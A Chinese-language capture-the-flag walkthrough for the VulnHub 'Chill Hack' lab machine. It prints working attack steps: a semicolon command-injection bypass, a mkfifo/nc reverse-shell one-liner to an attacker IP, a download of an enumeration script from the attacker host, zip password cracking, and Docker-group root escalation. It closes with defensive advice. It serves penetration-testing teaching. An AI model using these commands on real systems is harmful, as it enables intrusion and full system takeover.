vulnhub Chill Hack
字数 993 2025-08-15 21:33:44
Chill Hack 靶机渗透测试教学文档
靶机基础信息
- 名称:Chill Hack
- 难度:中等偏易
- 特点:思路清晰明确,容易操作
- 发布日期:2021-02-07
环境搭建
- 从Vulnhub下载Chill Hack镜像
- 将镜像导入虚拟机软件(如VMware或VirtualBox)
- 启动靶机,确认运行正常
信息收集阶段
主机发现
nmap 192.168.1.0/24
端口扫描与服务识别
nmap -sV -p- -A 192.168.1.106
发现开放端口:
- 21/tcp - FTP
- 22/tcp - SSH
- 80/tcp - HTTP
渗透测试过程
FTP服务利用
- 匿名登录FTP:
ftp 192.168.1.106
用户名: anonymous
密码: (留空)
- 下载note.txt文件:
get note.txt
分析:note.txt内容无直接利用价值
Web服务枚举
- 访问HTTP服务:
http://192.168.1.106/
- 使用dirb进行目录扫描:
dirb http://192.168.1.106/
发现敏感目录:
http://192.168.1.106/secret/
命令注入漏洞利用
- 测试命令注入:
http://192.168.1.106/secret/?command=id
发现:直接执行id命令成功
- 尝试列出目录时发现ls被过滤:
http://192.168.1.106/secret/?command=ls
绕过方法:使用分号分隔命令
http://192.168.1.106/secret/?command=id;ls
- 建立反向shell连接:
id;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 1234 >/tmp/f
注意:192.168.1.107为攻击者IP,1234为监听端口
- 升级为交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
本地信息收集
- 使用LinEnum进行本地枚举:
# 在攻击机启动HTTP服务
python -m SimpleHTTPServer 8000
# 在靶机下载LinEnum
wget http://192.168.1.107:8000/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
- 发现可疑文件:
# 下载可疑图片
wget http://192.168.1.108:8001/images/hacker-with-laptop_23-2147985341.jpg
隐写分析
- 使用steghide检查图片:
steghide info hacker-with-laptop_23-2147985341.jpg
- 提取隐藏文件:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
结果:提取出backup.zip压缩包
- 破解压缩包密码:
# 生成hash
zip2john backup.zip > backup.john
# 使用john破解
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
# 查看密码
john backup.john --show
获得密码:pass1word
- 解压并分析文件:
# 解压
unzip -P pass1word backup.zip
# 发现base64编码的密码
echo "加密字符串" | base64 -d
解密后密码:!d0ntKn0wmYp@ssw0rd
SSH登录
- 使用获取的凭据登录:
ssh anurodh@192.168.1.106
密码: !d0ntKn0wmYp@ssw0rd
权限提升
方法一:sudo权限检查
sudo -l
分析:检查可用的sudo权限
方法二:Docker组提权
- 确认用户属于docker组:
id
- 利用Docker组提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
原理:将主机根目录挂载到容器中,通过chroot获取root shell
获取flag
cd /root
cat flag.txt
关键知识点总结
- FTP匿名登录:检查是否允许匿名访问
- Web目录枚举:使用工具发现隐藏目录
- 命令注入绕过:分号分隔绕过过滤
- 反向shell建立:通过有限命令执行获取完整shell
- 隐写分析:使用steghide提取隐藏数据
- 密码破解:zip2john和john组合破解压缩包密码
- Docker组提权:利用docker组权限实现root权限获取
防御建议
- 禁用FTP匿名登录
- 对用户输入进行严格过滤
- 限制敏感命令的执行权限
- 避免在图片等文件中存储敏感信息
- 合理设置用户组权限,避免普通用户加入docker等特权组